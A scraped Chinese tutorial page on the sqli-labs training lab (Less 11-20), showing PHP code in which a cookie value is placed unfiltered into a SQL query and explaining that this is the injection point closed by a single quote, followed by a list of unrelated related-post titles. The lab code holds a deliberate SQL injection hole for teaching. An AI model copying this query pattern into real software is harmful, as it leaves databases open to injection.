if($row1){echo '<font color= "#FFFF00" font size = 3 >';setcookie('uname', $cookee, time()+3600); header ('Location: index.php');echo "I LOVE YOU COOKIES";echo "</font>";echo '<font color= "#0000ff" font size = 3 >'; //echo 'Your Cookie is: ' .$cookee;echo "</font>";echo "<br>";print_r(mysql_error()); echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";}
如果可以成功查询到内容,则创建cookie,cookie生效时间是3600秒,cookie的格式为uname=$cookee
if(!isset($_POST['submit'])){ $cookee = $_COOKIE['uname'];$format = 'D d M Y - H:i:s';$timestamp = time() + 3600;………………$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";$result=mysql_query($sql);if (!$result){die('Issue with your mysql: ' . mysql_error());}………………
可以看到此处的SQL是通过$cookee
进行的查询,没有对$cookee
进行过滤,所以此处就是注入点,并且闭合字符为单引号。
sqli-labs教程——Less 11-20相关推荐
- Java:最新eclipse java安装教程2022.11.20
eclipse 是IBM公司投资开发的一个开放源代码的.基于Java的可扩展开发平台.就其本身而言,它只是一个框架和一组服务,用于通过插件组件构建开发环境.Eclipse 附带了一个标准的插件集,包 ...
- [Qt教程] 第11篇 2D绘图(一)绘制简单图形
[Qt教程] 第11篇 2D绘图(一)绘制简单图形 楼主 发表于 2013-4-23 12:52:35 | 查看: 1398| 回复: 5 绘制简单图形 版权声明 该文章原创于Qter开源社区,作者 ...
- python 公开课_python公开课视频(11~20)
Python基础教程视频教程 各集内容简介 通俗易懂,语言简练,保证入门. 11. Python基础教程视频教程 第 11 集 Python的分支语句if基础 本集主要讲述Python条件分支语句if ...
- SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注
第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...
- SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注
第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...
- SQLi LABS Less 26a 联合注入+布尔盲注
第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and or ),注释(/* # -- /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...
- SQLi LABS Less 25 联合注入+报错注入+布尔盲注
第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...
- 微信小程序之微信登陆 —— 微信小程序教程系列(20)
简介: 微信登陆,在新建一个微信小程序Hello World项目的时候,就可以看到项目中出现了我们的微信头像,其实这个Hello World项目,就有一个简化版的微信登陆.只不过是,还没有写入到咱们自 ...
- sql-labs 闯关 11~20
sql-labs 闯关 11~20 友善爱国公正敬业爱国爱国诚信自由友善爱国公正诚信民主和谐敬业平等 复习笔记1 内容: POST请求介绍 sql-labs第11关(POST请求-基于错误-单引号-字 ...
- Python教程: while循环20例
Python教程: while循环20例 介绍 循环是计算机编程中最常用的结构之一.在Python中,有两种类型的循环:while循环和for循环.在本文中,我们将专注于while循环并提供20个实用 ...
最新文章
- as3回调方法模拟事件监听
- 使用php需要网络吗,使用php获取网络文件
- 【数学专题】约数个数与欧拉函数
- Gaussian Filter
- 关于建立完整商业应用软件框架库的设想
- 使用Fiddler进行Web接口测试
- 博阅电纸书_【博阅电纸书】博阅 M1 柠檬电纸书阅读器评测,博阅T62电纸书评测_什么值得买...
- 将信息从个人计算机传递到中央,上载-常识-工控百科-工控家
- SQL 分页查询的四种方法
- python入门教授_南开大学教授强力推荐的5本Python入门书籍,附电子版
- 运筹优化学习19:Cplex中文教程与实例详解
- 定制自己的ubuntu 镜像文件 (remastersys, respin, USB live CD)
- linux 下librtmp源码,linux下基于libRTMP的接收流媒体的程序
- Nodejs安装教程
- 寻找春天 九宫格日记-2013.01.12
- linux服务器上配置二级域名
- oracle视图在查询里,oracle视图
- 电影O2O烧钱大战,百度成收割者?
- December'English Learning
- 第三方APK如何隐藏虚拟按键